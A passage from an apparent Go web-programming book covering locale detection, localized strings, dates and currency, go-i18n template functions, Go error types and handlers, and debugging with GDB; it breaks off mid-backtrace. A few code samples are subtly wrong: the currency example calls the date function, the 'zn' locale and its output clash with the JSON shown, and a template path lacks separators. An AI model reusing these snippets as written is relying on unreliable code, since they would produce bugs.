- Next section: Setting the default region

10.1 Setting the default region

Finding out the locale

A locale is a set of descriptors for a particular geographical region, and can include specific language habits, text formatting, cultural idioms and a multitude of other settings. A locale's name is usually composed of three parts. First (and mandatory) is the locale's language abbreviation, such as "en" for English or "zh" for Chinese. The second part is an optional country specifier, and follows the first with an minus sign. This specifier allows web applications to distinguish between different countries which speak the same language, such as "en-US" for U.S. English, and "en-GB" for British English. The last part is another optional specifier, and is added to the locale with a period. It specifies which character set to use, for instance "zh-CN.gb2312" specifies the gb2312 character set for Chinese.

Go defaults to the "UTF-8" encoding set, so i18n in Go applications do not need to consider the last parameter. Thus, in our examples, we'll only use the first two parts of locale descriptions as our standard i18n locale names.

> On Linux and Solaris systems, you can use the `locale -a` command to get a list of all supported regional names. You can use this list as examples of some common locales. For BSD and other systems, there is no locale command, but the regional information is stored in `/usr/share/locale`.

Setting the locale

Now that we've defined what a locale is, we need to be able to set it according to visiting users' information (either from their personal settings, the visited domain name, etc.). Here are some methods we can use to set the user's locale:

From the domain name

We can set a user's locale via the domain name itself when the application uses different domains for different regions. For example, we can use www.asta.com as our default English website, and the domain name www.asta.cn as its Chinese counterpart. By setting up separate domains for separate regions, you can detect and serve the requested locale. This type of setup has several advantages:

- Identifying the locale via URL is distinctive and unambiguous
- Users intuitively know which domain names to visit for their specific region or language
- Implementing this scheme in a Go application is very simple and convenient, and can be achieved through a map
- Conducive to search engine crawlers which can improve the site's SEO

We can use the following code to implement a corresponding domain name locale:

```
if r.Host == "www.asta.com" {
    i18n.SetLocale("en")
} else if r.Host == "www.asta.cn" {
    i18n.SetLocale("zh-CN")
} else if r.Host == "www.asta.tw" {
    i18n.SetLocale("zh-TW")
}
```

Alternatively, we could have also set locales through the use of sub-domain such as "en.asta.com" for English sites and "cn.asta.com" for Chinese site. This scheme can be realized in code as follows:

```
prefix:= strings.Split(r.Host,".")

if prefix[0] == "en" {
    i18n.SetLocale("en")
} else if prefix[0] == "cn" {
    i18n.SetLocale("zh-CN")
} else if prefix[0] == "tw" {
    i18n.SetLocale("zh-TW")
}
```

Setting locales from the domain name as we've done above has its advantages, however l10n is generally not implemented in this way. First of all, the cost of domain names (although usually quite affordable individually) can quickly add up given that each locale will need its own domain name, and often the name of the domain will not necessarily fit in with the local context. Secondly, we don't want to have to individually configure each website for each locale. Rather, we should be able to do this programmatically, for instance by using URL parameters. Let's have a look at the following description.

From URL parameters

The most common way of implementing l10n is to set the desired locale directly in the URL parameters, such `www.asta.com/hello?locale=zh` or `www.asta.com/zh/hello`. This way, we can set the region like so: `i18n.SetLocale(params["locale"])`.

This setup has almost all the advantages of prepending the locale in front of the domain and it's RESTful, so we don't need to add additional methods to implement it. The downside to this approach is that it requires a corresponding locale parameter inside each link, which can be quite cumbersome and may increase complexity. However, we can write a generic function that produces these locale-specific URLs so that all links are generated through it. This function should automatically add a locale parameter to each link so when users click them, we are able to parse their requests with ease: `locale = params [" locale "]`.

Perhaps we want our URLs to look even more RESTful. For example, we could map each of our resources under a specific locale like `www.asta.com/en/books` for our English site and `www.asta.com/zh/books` for the Chinese one. This approach is not only more conducive to URL SEO, but is also more friendly for users. Anybody visiting the site should be able to access locale-specific website resources directly from the URL. Such URL addresses can then be passed through the application router in order to obtain the proper locale (refer to the REST section, which describes the router plug-in implementation):

```
mux.Get("/:locale/books", listbook)
```

From the client settings area

In some special cases, we require explicit client information in order to set the locale rather than obtaining it from the URL or URL parameters. This information may come directly from the client's browser settings, the user's IP address, or the location settings filled out by the user at the time of registration. This approach is more suitable for web-based applications.

- Accept-Language

When a client requests information using an HTTP header set with the `Accept-Language` field, we can use the following Go code to parse the header and set the appropriate region code:

```
AL := r.Header.Get("Accept-Language")
if AL == "en" {
    i18n.SetLocale("en")
} else if AL == "zh-CN" {
    i18n.SetLocale("zh-CN")
} else if AL == "zh-TW" {
    i18n.SetLocale("zh-TW")
}
```

Of course, in real world applications, we may require more rigorous processes and rules for setting user regions

- IP Address

Another way of setting a client's region is to look at the user's IP address. We can use the popular GeoIP GeoLite Country or City libraries to help us relate user IP addresses to their corresponding regional areas. Implementing this mechanism is very simple: we only need to look up the user's IP address inside our database and then return locale-specific content according to which region was returned.

- User profile

You can also let users provide you with their locale information through an input element such as a drop-down menu (or something similar). When we receive this information, we can save it to the account associated with the user's profile. When the user logs in again, we will be able to check and set their locale settings -this guarantees that every time the user accesses the website, the returned content will be based on their previously set locale.

Summary

In this section, we've demonstrated a variety of ways with which user specific locales can be detected and set. These methods included setting the user locale via domain name, subdomain name, URL parameters and directly from client settings. By catering to the specific needs of specific regions, we can provide a comfortable, familiar and intuitive environment for users to access the services that we provide.

Links

- Directory
- Previous one: Internationalization and localization
- Next section: Localized resources

10.2 Localized Resources

The previous section described how to set locales. After the locale has been set, we then need to address the problem of storing the information corresponding to specific locales. This information can include: textual content, time and date, currency values , pictures, specific files and other view resources. In Go, all of this contextual information is stored in JSON format on our backend, to be called upon and injected into our views when users from specific regions visit our website. For example, English and Chinese content would be stored in en.json and zh-CN.json files, respectively.

Localized textual content

Plain text is the most common way of representing information in web applications, and the bulk of your localized content will likely take this form. The goal is to provide textual content that is both idiomatic to regional expressions and feels natural for foreign users of your site. One solution is to create a nested map of locales, native language strings and their local counterparts. When clients request pages with some textual content, we first check their desired locale, then retrieve the corresponding strings from the appropriate map. The following snippet is a simple example of this process:

```
package main

import "fmt"

var locales map[string]map[string]string

func main() {
    locales = make(map[string]map[string]string, 2)
    en := make(map[string]string, 10)
    en["pea"] = "pea"
    en["bean"] = "bean"
    locales["en"] = en
    cn := make(map[string]string, 10)
    cn["pea"] = "豌豆"
    cn["bean"] = "毛豆"
    locales["zh-CN"] = cn
    lang := "zh-CN"
    fmt.Println(msg(lang, "pea"))
    fmt.Println(msg(lang, "bean"))
}

func msg(locale, key string) string {
    if v, ok := locales[locale]; ok {
        if v2, ok := v[key]; ok {
            return v2
        }
    }
    return ""
}
```

The above example sets up maps of translated strings for different locales (in this case, the Chinese and English locales). We map our `cn` translations to the same English language keys so that we can reconstruct our English text message in Chinese. If we wanted to switch our text to any other locale we may have implemented, it'd be a simple matter of setting one `lang` variable.

Simple key-value substitutions can sometimes be inadequate for our needs. For example, if we had a phrase such as "I am 30 years old" where 30 is a variable, how would we localize it? In cases like these, we can combine use the `fmt.Printf` function to achieve the desired result:

```
en["how old"] = "I am %d years old"
cn["how old"] = "我今年%d岁了"

fmt.Printf(msg(lang, "how old"), 30)
```

The example code above is only for the purpose of demonstration; actual locale data is typically stored in JSON format in our database, allowing us to execute a simple `json.Unmarshal` to populate map locales with our string translations.

Localized date and time

Because of our time zone conventions, the time in one region of the world can be different than the time in another region. Similarly, the way in which time is represented can also vary from locale to locale. For example, a Chinese environment may read `2012年10月24日 星期三 23时11分13秒 CST`, while in English, it might be: `Wed Oct 24 23:11:13 CST 2012`. Not only are there variations in language, but there are differences in formatting also. So, when it comes to localizing dates and times, we need to address the following two points:

1. time zones
2. formatting issues

The `$GOROOT/lib/time/package/timeinfo.zip` directory contains locales corresponding to time zone definitions. In order to obtain the time corresponding to a user's current locale, we should first use `time.LoadLocation(name string)` to get a Location object corresponding to our locale, passing in a string representing the locale such as `Asia/Shanghai` or `America/Chicago`. We can then use this Location object in conjunction with a Time object (obtained by calling `time.Now`) to get the final time using the Time object's `In` method. A detailed look at this process can be seen below (this example uses some of the variables from the example above):

```
en["time_zone"] = "America/Chicago"
cn["time_zone"] = "Asia/Shanghai"

loc, _ := time.LoadLocation(msg(lang, "time_zone"))
t := time.Now()
t = t.In(loc)
fmt.Println(t.Format(time.RFC3339))
```

We can handle text formatting in a similar way to solve our time formatting problem:

```
en["date_format"]="%Y-%m-%d %H:%M:%S"
cn["date_format"]="%Y年%m月%d日 %H时%M分%S秒"

fmt.Println(date(msg(lang,"date_format"),t))

func date(fomat string, t time.Time) string{
    year, month, day = t.Date()
    hour, min, sec = t.Clock()
    //Parsing the corresponding %Y%m%d%H%M%S and then returning the information
    //%Y replaced by 2012
    //%m replaced by 10
    //%d replaced by 24
}
```

Localized currency value

Obviously, currency differs from region to region also. We can treat it the same way we treated our dates:

```
en["money"] ="USD %d"
cn["money"] ="¥%d元"

fmt.Println(date(msg(lang,"date_format"),100))

func money_format(fomat string, money int64) string{
    return fmt.Sprintf(fomat, money)
}
```

Localization of views and resources

We can serve customized views with different images, css, js and other static resources depending on the current locale. One way to accomplish this is by organizing these files into their respective locales. Here's an example:

```
views
|--en  //English Templates
    |--images     //store picture information
    |--js         //JS files
    |--css        //CSS files
    index.tpl     //User Home
    login.tpl     //Log Home
|--zh-CN //Chinese Templates
    |--images
    |--js
    |--css
    index.tpl
    login.tpl
```

With this directory structure, we can render locale-specific views like so:

```
s1, _ := template.ParseFiles("views" + lang + "index.tpl")
VV.Lang = lang
s1.Execute(os.Stdout, VV)
```

The resources referenced in the `index.tpl` file can be dealt with as follows:

```
// js file
<script type="text/javascript" src="views/{{.VV.Lang}}/js/jquery/jquery-1.8.0.min.js"></script>
// css file
<link href="views/{{.VV.Lang}}/css/bootstrap-responsive.min.css" rel="stylesheet">
// Picture files
<img src="views/{{.VV.Lang}}/images/btn.png">
```

With dynamic views and the way we've localized our resources, we will be able to add more locales without much effort.

Summary

This section described how to use and store local resources. We learned that we can use conversion functions and string interpolation for this, and saw that maps can be an effective way of storing locale-specific data. For the latter, we could simply extract the corresponding locale information when needed -if it was textual content we desired, our mapped translations and idioms could be piped directly to the output. If it was something more sophisticated like time or currency, we simply used the `fmt.Printf` function to format it before-hand. Localizing our views and resources was the easiest case, and simply involved organizing our files into their respective locales, then referencing them from their locale relative paths.

Links

- Directory
- Previous section: Setting the default region
- Next section: International sites

10.3 International sites

The previous section explained how to deal with localized resources, namely by using locale configuration files. So what can we do if we need to deal with *multiple* localized resources like text translations, times and dates, numbers, etc? This section will address these issues one by one.

Managing multiple locale packages

In the development of an application, often the first thing you need to do is to decide whether or not you want to support more than one language. If you do decide to support multiple languages, you'll need to develop an organizational structure to facilitate the process of adding more languages in the future. One way we can do this is to put all our related locale files together in a `config/locales` directory, or something of the like. Let's suppose you want to support both Chinese and English. In this case, you'd be placing both the en.json and zh.json locale files into the aforementioned folder. Their contents would probably look something like the following:

```
# zh.json

{
"zh": {
    "submit": "提交",
    "create": "创建"
    }
}

#en.json

{
"en": {
    "submit": "Submit",
    "create": "Create"
    }
}
```

We decided to use some 3rd party Go packages to help us internationalize our web applications. In the case of go-i18n (***A more advanced i18n package can be found here***), we first have to register our `config/locales` directory to load all of our locale files:

```
Tr := i18n.NewLocale()
Tr.LoadPath("config/locales")
```

This package is simple to use. We can test that it works like so:

```
fmt.Println(Tr.Translate("submit"))
//Output "submit"
Tr.SetLocale("zn")
fmt.Println(Tr.Translate("submit"))
//Outputs "递交"
```

Automatically load local package

We've just described how to automatically load custom language packs. In fact, the `go-i18n` library comes pre-loaded with a bunch of default formatting information such as time and currency formats. These default configurations can be overridden and customized by users to suit their needs. Consider the following process:

```
//Load the default configuration files, which are placed below in `go-i18n/locales`

//File should be named zh.json, en-json, en-US.json etc., so we can continuously support more languages

func (il *IL) loadDefaultTranslations(dirPath string) error {
    dir, err := os.Open(dirPath)
    if err != nil {
        return err
    }
    defer dir.Close()

    names, err := dir.Readdirnames(-1)
    if err != nil {
        return err
    }

    for _, name := range names {
        fullPath := path.Join(dirPath, name)

        fi, err := os.Stat(fullPath)
        if err != nil {
            return err
        }

        if fi.IsDir() {
            if err := il.loadTranslations(fullPath); err != nil {
                return err
            }
        } else if locale := il.matchingLocaleFromFileName(name); locale != "" {
            file, err := os.Open(fullPath)
            if err != nil {
                return err
            }
            defer file.Close()

            if err := il.loadTranslation(file, locale); err != nil {
                return err
            }
        }
    }

    return nil
}
```

Using the above code to load all of our default translations, we can then use the following code to select and use a locale:

```
fmt.Println(Tr.Time(time.Now()))
//Output: 2009年1月08日 星期四 20:37:58 CST

fmt.Println(Tr.Time(time.Now(),"long"))
//Output: 2009年1月08日

fmt.Println(Tr.Money(11.11))
//Output: ¥11.11
```

Template mapfunc

Above, we've presented one way of managing and integrating a number of language packs. Some of the functions we've implemented are based on the logical layer, for example: "Tr.Translate", "Tr.Time", "Tr.Money" and so on. In the logical layer, we can use these functions (after supplying the required parameters) for applying your translations, outputting the results directly to the template layer at render time. What can we do if we want to use these functions *directly* in the template layer? In case you've forgotten, earlier in the book we mentioned that Go templates support custom template functions. The following code shows how easy mapfunc is to implement:

1 text information

A simple text conversion function implementing a mapfunc can be seen below. It uses `Tr.Translate` to perform the appropriate translations:

```
func I18nT(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return Tr.Translate(s)
}
```

We register the function like so:

```
t.Funcs(template.FuncMap{"T": I18nT})
```

Then use it from your template:

```
{{.V.Submit | T}}
```

1. The date and time

Dates and times call the `Tr.Time` function to perform their translations. The mapfunc is implemented as follows:

```
func I18nTimeDate(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return Tr.Time(s)
}
```

Register the function like so:

```
t.Funcs(template.FuncMap{"TD": I18nTimeDate})
```

Then use it from your template:

```
{{.V.Now | TD}}
```

3 Currency Information

Currencies use the `Tr.Money` function to convert money. The mapFunc is implemented as follows:

```
func I18nMoney(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return Tr.Money(s)
}
```

Register the function like so:

```
t.Funcs(template.FuncMap{"M": I18nMoney})
```

Then use it from your template:

```
{{.V.Money | M}}
```

Summary

In this section we learned how to implement multiple language packs in our web applications. We saw that through custom language packs, we can not only easily internationalize our applications, but facilitate the addition of other languages also (through the use of a configuration file). By default, the go-i18n package will provide some common configurations for time, currency, etc., which can be very convenient to use. We learned that these functions can also be used directly from our templates using mapping functions; each translated string can be piped directly to our templates. This enables our web applications to accommodate multiple languages with minimal effort.

Links

- Directory
- Previous section: Localized resources
- Next section: Summary

10.4 Summary

Through this introductory chapter on i18n, you should now be familiar with some of the steps and processes that are necessary for internationalizing and localizing your websites. I've also introduced an open source solution for i18n in Go: go-i18n. Using this open source library, we can easily implement multi-language versions of our web applications. This allows our applications to be flexible and responsive to local audiences all around the world. If you find an error in this open source library or any missing features, please open an issue or a pull request! Let's strive to make it one of Go's standard libraries!

Links

- Directory
- Previous section: International sites
- Next chapter: Error handling, debugging and testing

11 Error Handling, Debugging, and Testing

We often see the majority of a programmer's "programming" time spent on checking for bugs and working on bug fixes. Whether you are refactoring code or re-configuring systems, much of your time will undoubtedly be spent troubleshooting and testing. From the outside, people may think that all we do as programmers is design our systems and then write our code. They might think that we have the ideal job! We do work that is very engaging, and implement systems that have never been done before. While this last part may be true, what they don't know is that we spend the majority of our time cycling between troubleshooting, debugging and testing our code! Of course, if you have good programming habits and the technological solutions to help you take on these tasks, then you can minimize the time spent doing these things, enabling you to focus instead on more valuable things like the application logic.

Unfortunately, many programmers are not thorough in fulfilling their error handling, debugging and testing responsibilities beforehand. Inexperienced programmers will often only make an effort to find errors and flaws after they have occurred, spending hours locating and fixing problems after the application is already online. It's good practice (and probably common sense) that we should design our applications with proper error handling, test cases, etc., from the get go. This will make your job, and the jobs of all the other developers who may be working on your application someday, much easier when they inevitably need to modify the code or upgrade the system.

In the process of developing web applications, you will inevitably encounter unforeseen errors. What's the most efficient way of finding the causes of these errors and solving them? Section 11.1 describes how to handle errors in the Go language as well as how to design your own error handling package and functions. Section 11.2 describes how to use GDB to debug programs under dynamic operating conditions, depending on a variety of variable information. We then discuss application monitoring and debugging operations.

Section 11.3 will explain unit testing in Go and feature some in-depth discussions and examples on how to write unit tests, as well as defining Go's unit testing rules. We'll see how following these rules will ensure that when upgrading or modifying your application, the test code will be able to run smoothly.

Many programmers avoid spending time to learn and cultivate good debugging and testing habits. This chapter takes on these issues head-on so you won't have to run away from these tasks any longer. Since you're just learning how to build web applications in Go, let's use this opportunity to establish these good habits from the very beginning.

Links

- Directory
- Previous chapter: Chapter 10 summary
- Next section: Error handling

11.1 Error handling

Go's major design considerations are rooted in the following ideas: a simple, clear, and concise syntax (similar to C) and statements which are explicit and don't contain any hidden or unexpected things. Go's error handling scheme reflects all of these principles in the way that it's implemented. If you're familiar with the C language, you'll know that it's common to return -1 or NULL values to indicate that an error has occurred. However users who are not familiar with C's API will not know exactly what these return values mean. In C, it's not explicit whether a value of `0` indicates success of failure. On the other hand, Go explicitly defines a type called `error` for the sole purpose of expressing errors. Whenever a function returns, we check to see whether the error variable is `nil` or not to determine if the operation was successful. For example, the `os.Open` function fails, it will return a non-nil error variable.

```
func Open(name string) (file * File, err error)
```

Here's an example of how we'd handle an error in `os.Open`. First, we attempt to open a file. When the function returns, we check to see whether it succeeded or not by comparing the error return value with nil, calling `log.Fatal` to output an error message if it's a non-nil value:

```
f, err := os.Open("filename.ext")
if err != nil {
  log.Fatal(err)
}
```

Similar to the `os.Open` function, the functions in Go's standard packages all return error variables to facilitate error handling. This section will go into detail about the design of error types and discuss how to properly handle errors in web applications.

Error type

`error` is an interface type with the following definition:

```
type error interface {
    Error() string
}
```

`error` is a built-in interface type. We can find its definition in the builtin package below. We also have a lot of internal packages which use `error` in a private structure called `errorString`, which implements the error interface:

```
// errorString is a trivial implementation of error.
type errorString struct {
    s string
}

func (e *errorString) Error() string {
    return e.s
}
```

You can convert a regular string to an `errorString` through `errors.New` in order to get an object that satisfies the error interface. Its internal implementation is as follows:

```
// New returns an error that formats as the given text.
func New(text string) error {
    return &errorString{text}
}
```

The following example demonstrates how to use `errors.New`:

```
func Sqrt(f float64) (float64, error) {
    if f < 0 {
        return 0, errors.New("math: square root of negative number")
    }
    // implementation
}
```

In the following example, we pass a negative number to our `Sqrt` function. Checking the `err` variable, we check whether the error object is non-nil using a simple nil comparison. The result of the comparison is true, so `fmt.Println` (the `fmt` package calls the error method when dealing with error calls) is called to output an error.

```
f, err := Sqrt(-1)
if err != nil {
    fmt.Println(err)
}
```

Custom Errors

Through the above description, we know that a go Error is an interface. By defining a struct that implements this interface, we can implement their error definitions. Here's an example from the JSON package:

```
type SyntaxError struct {
    msg string // error description
    Offset int64 // where the error occurred
}

func (e * SyntaxError) Error() string {return e.msg}
```

The error's `Offset` field will not be printed at runtime when syntax errors occur, but using a type assertion error type, you can print the desired error message:

```
if err := dec.Decode(&val); err != nil {
    if serr, ok := err.(*json.SyntaxError); ok {
        line, col := findLine(f, serr.Offset)
        return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, err)
    }
    return err
}
```

It should be noted that when the function returns a custom error, the return value is set to the recommended type of error rather than a custom error type. Be careful not to pre-declare variables of custom error types. For example:

```
func Decode() *SyntaxError {
    // error, which may lead to the caller's err != nil comparison to always be true.
    var err * SyntaxError // pre-declare error variable
    if an error condition {
        err = &SyntaxError{}
    }
    return err // error, err always equal non-nil, causes caller's err != nil comparison to always be true
}
```

See http://golang.org/doc/faq#nil_error for an in depth explanation

The above example shows how to implement a simple custom Error type. But what if we need more sophisticated error handling? In this case, we have to refer to the `net` package approach:

```
package net

type Error interface {
    error
    Timeout() bool   // Is the error a timeout?
    Temporary() bool // Is the error temporary?
}
```

Using type assertion, we can check whether or not our error is of type net.Error, as shown in the following example. This allows us to refine our error handling -if a temporary error occurs on the network, it will sleep for 1 second, then retry the operation.

```
if nerr, ok := err.(net.Error); ok && nerr.Temporary() {
    time.Sleep(1e9)
    continue
}
if err != nil {
    log.Fatal(err)
}
```

Error handling

Go handles errors and checks the return values of functions in a C-like fashion, which is different to how most of the other major languages do. This makes the code more explicit and predictable, but also more verbose. To reduce the redundancy of our error-handling code, we can use abstract error handling functions that allow us to implement similar error handling behaviour:

```
func init() {
    http.HandleFunc("/view", viewRecord)
}

func viewRecord(w http.ResponseWriter, r *http.Request) {
    c := appengine.NewContext(r)
    key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)
    record := new(Record)
    if err := datastore.Get(c, key, record); err != nil {
        http.Error(w, err.Error(), 500)
        return
    }
    if err := viewTemplate.Execute(w, record); err != nil {
        http.Error(w, err.Error(), 500)
    }
}
```

The above example demonstrate how the data access and template call has detected an error. When an error occurs , a call to unified handler http.Error, returns a 500 error code to the client , and displays the corresponding error data. But when more and more HandleFunc calls are made, so error-handling logic code will increase. We can customize the router to reduce code (refer to the third chapter of HTTP for more detail).

```
type appHandler func(http.ResponseWriter, *http.Request) error

func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    if err := fn(w, r); err != nil {
        http.Error(w, err.Error(), 500)
    }
}
```

Above we've defined a custom router. We can then register our handler as usual:

```
func init() {
    http.Handle("/view", appHandler(viewRecord))
}
```

The `/view` handler can then be handled by the following code; it is a lot simpler than our original implementation isn't it?

```
func viewRecord(w http.ResponseWriter, r *http.Request) error {
    c := appengine.NewContext(r)
    key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)
    record := new(Record)
    if err := datastore.Get(c, key, record); err != nil {
        return err
    }
    return viewTemplate.Execute(w, record)
}
```

The error handler example above will return the 500 Internal Error code to users when any errors occur, in addition to printing out the corresponding error code. In fact, we can customize the type of error returned to output a more developer friendly error message with information that is useful for debugging like so:

```
type appError struct {
    Error   error
    Message string
    Code    int
}
```

Our custom router can be changed accordingly:

```
type appHandler func(http.ResponseWriter, *http.Request) *appError

func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    if e := fn(w, r); e != nil { // e is *appError, not os.Error.
        c := appengine.NewContext(r)
        c.Errorf("%v", e.Error)
        http.Error(w, e.Message, e.Code)
    }
}
```

After we've finished modifying our custom error, our logic can be changed as follows:

```
func viewRecord(w http.ResponseWriter, r *http.Request) *appError {
    c := appengine.NewContext(r)
    key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil)
    record := new(Record)
    if err := datastore.Get(c, key, record); err != nil {
        return &appError{err, "Record not found", 404}
    }
    if err := viewTemplate.Execute(w, record); err != nil {
        return &appError{err, "Can't display record", 500}
    }
    return nil
}
```

As shown above, we can return different error codes and error messages in our views, depending on the situation. Although this version of our code functions similarly to the previous version, it's more explicit, and its error message prompts are more comprehensible. All of these factors can help to make your application more scalable as complexity increases.

Summary

Fault tolerance is a very important aspect of any programming language. In Go, it is achieved through error handling. Although `Error` is only one interface, it can have many variations in the way that it's implemented, and we can customize it according to our needs on a case by case basis. By introducing these various error handling concepts, we hope that you will have gained some insight on how to implement better error handling schemes in your own web applications.

Links

- Directory
- Previous section: Error handling, debugging and testing
- Next section: Debugging by using GDB

11.2 Debugging with GDB

During the development process of any application, developers will always need to perform some kind of code debugging. PHP, Python, and most of the other dynamic languages, are able to be modified at runtime, as long as the modifications do not explicitly need to be compiled. We can easily print data in dynamic operating environments, outputting our changes and printing variable information directly. In Go, you can of course speckle your code with `Println`s before-hand to display variable information for debugging purposes, but any changes to your code need to be recompiled every time. This can quickly become cumbersome. If you've programmed in Python or Javascript, you'll know that the former provides tools such as pdb and ipdb for debugging, and the latter has similar tools that are able to dynamically display variable information and facilitate single-step debugging. Fortunately, Go has native support for a similar tool which provides such debugging features: GDB. This section serves as a brief introduction into debugging Go applications using GDB.

GDB debugging profile

GDB is a powerful debugging tool targeting UNIX-like systems, released by the FSF (Free Software Foundation). GDB allows us to do the following things:

1. Initial settings can be customize according to the specific requirements of your application.
2. Can be set so that the program being debugged in the developer's console stops at the prescribed breakpoints (breakpoints can be conditional expressions).
3. When the program has been stopped, you can check its current state to see what happened.
4. Dynamically change the current program's execution environment.

To debug your Go applications using GDB, the version of GDB you use must be greater than 7.1.

When compiling Go programs, the following points require particular attention:

1. Using `-ldflags "-s"` will prevent the standard debugging information from being printed
2. Using `-gcflags "-N-l"` will prevent Go from performing some of its automated optimizations -optimizations of aggregate variables, functions, etc. These optimizations can make it very difficult for GDB to do its job, so it's best to disable them at compile time using these flags.

Some of GDB's most commonly used commands are as follows:

- list

Also used in its abbreviated form `l`, `list` is used to display the source code. By default, it displays ten lines of code and you can specify the line you wish to display. For example, the command `list 15` displays ten lines of code centered around line 15, as shown below.

```
10            time.Sleep(2 * time.Second)
11            c <- i
12        }
13        close(c)
14    }
15
16    func main() {
17        msg := "Starting main"
18        fmt.Println(msg)
19        bus := make(chan int)
```

- break

Also used in its abbreviated form `b`, `break` is used to set breakpoints, and takes as an argument that defines which point to set the breakpoint at. For example, `b 10` sets a break point at the tenth row.

- delete

Also used in its abbreviated form `d`, `delete` is used to delete break points. The break point is set followed by the serial number. The serial number can be obtained through the `info breakpoints` command. Break points set with their corresponding serial numbers are displayed as follows to set a break point number.

```
Num     Type           Disp Enb Address            What
2       breakpoint     keep y   0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23
breakpoint already hit 1 time
```

- backtrace

Abbreviated as `bt`, this command is used to print the execution of the code, for instance:

```
#0  main.main () at /home/xiemengjun/gdb.go:23
#1  0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244
#2  0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267
#3  0x0000000000000000 in ?? ()
```

- info

The `info` command can be used in conjunction with several parameters to display information. The following parameters are commonly used:

- `info locals`

Displays the currently executing program's variable values

- `info breakpoints`

Displays a list of currently set breakpoints

- `info goroutines`

Displays the current list of running goroutines, as shown in the following code, with the `*` indicating the current execution

```
* 1 running runtime.gosched
* 2 syscall runtime.entersyscall
3 waiting runtime.gosched
4 runnable runtime.gosched
```

- print

Abbreviated as `p`, this command is used to print variables or other information. It takes as arguments the variable names to be printed and of course, there are some very useful functions such as $len() and $cap() that can be used to return the length or capacity of the current strings, slices or maps.

- whatis

`whatis` is used to display the current variable type, followed by the variable name. For instance, `whatis msg`, will output the following:

type = struct string

- next

Abbreviated as `n`, `next` is used in single-step debugging to skip to the next step. When there is a break point, you can enter `n` to jump to the next step to continue

- continue

Abbreviated as `c`, `continue` is used to jump out of the current break point and can be followed by a parameter N, which specifies the number of times to skip the break point

- set variable

This command is used to change the value of a variable in the process. It can be used like so: `set variable <var> = <value>`

The debugging process

Now, let's take a look at the following code to see how GDB is typically used to debug Go programs:

```
package main

import (
    "fmt"
    "time"
)

func counting(c chan<- int) {
    for i := 0; i < 10; i++ {
        time.Sleep(2 * time.Second)
        c <- i
    }
    close(c)
}

func main() {
    msg := "Starting main"
    fmt.Println(msg)
    bus := make(chan int)
    msg = "starting a gofunc"
    go counting(bus)
    for count := range bus {
        fmt.Println("count:", count)
    }
}
```

Now we compile the file, creating an executable file called "gdbfile":

```
go build -gcflags "-N -l" gdbfile.go
```

Use the GDB command to start debugging :

```
gdb gdbfile
```

After first starting GDB, you'll have to enter the `run` command to see your program running. You will then see the program output the following; executing the program directly from the command line will output exactly the same thing:

```
(gdb) run
Starting program: /home/xiemengjun/gdbfile
Starting main
count: 0
count: 1
count: 2
count: 3
count: 4
count: 5
count: 6
count: 7
count: 8
count: 9
[LWP 2771 exited]
[Inferior 1 (process 2771) exited normally]
```

Ok, now that we know how to get the program up and running, let's take a look at setting breakpoints:

```
(gdb) b 23
Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23.
(gdb) run
Starting program: /home/xiemengjun/gdbfile
Starting main
[New LWP 3284]
[Switching to LWP 3284]

Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23            fmt.Println("count:", count)
```

In the above example, we use the `b 23` command to set a break point on line 23 of our code, then enter `run` to start the program. When our program stops at our breakpoint, we typically need to look at the corresponding source code context. Entering the `list` command into our GDB session, we can see the five lines of code preceding our breakpoint:

```
(gdb) list
18        fmt.Println(msg)
19        bus := make(chan int)
20        msg = "starting a gofunc"
21        go counting(bus)
22        for count := range bus {
23            fmt.Println("count:", count)
24        }
25    }
```

Now that GDB is running the current program environment, we have access to some useful debugging information that we can print out. To see the corresponding variable types and values, type `info locals`:

```
(gdb) info locals
count = 0
bus = 0xf840001a50
(gdb) p count
$1 = 0
(gdb) p bus
$2 = (chan int) 0xf840001a50
(gdb) whatis bus
type = chan int
```

To let the program continue its execution until the next breakpoint, enter the `c` command:

```
(gdb) c
Continuing.
count: 0
[New LWP 3303]
[Switching to LWP 3303]

Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)
(gdb) c
Continuing.
count: 1
[Switching to LWP 3302]

Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)
```

After each `c`, the code will execute once then jump to the next iteration of the `for` loop. It will, of course, continue to print out the appropriate information.

Let's say that you need to change the context variables in the current execution environment, skip the process then continue to the next step. You can do so by first using `info locals` to get the variable states, then the `set variable` command to modify them:

```
(gdb) info locals
count = 2
bus = 0xf840001a50
(gdb) set variable count=9
(gdb) info locals
count = 9
bus = 0xf840001a50
(gdb) c
Continuing.
count: 9
[Switching to LWP 3302]

Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)
```

Finally, while running, the program creates a number of goroutines. We can see what each goroutine is doing using `info goroutines`:

```
(gdb) info goroutines
* 1 running runtime.gosched
* 2 syscall runtime.entersyscall
3 waiting runtime.gosched
4 runnable runtime.gosched
(gdb) goroutine 1 bt
#0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927
#1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void)
at /home/xiemengjun/go/src/pkg/runtime/chan.c:327
#2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void)
at /home/xiemengjun/go/src/pkg/runtime/chan.c:420
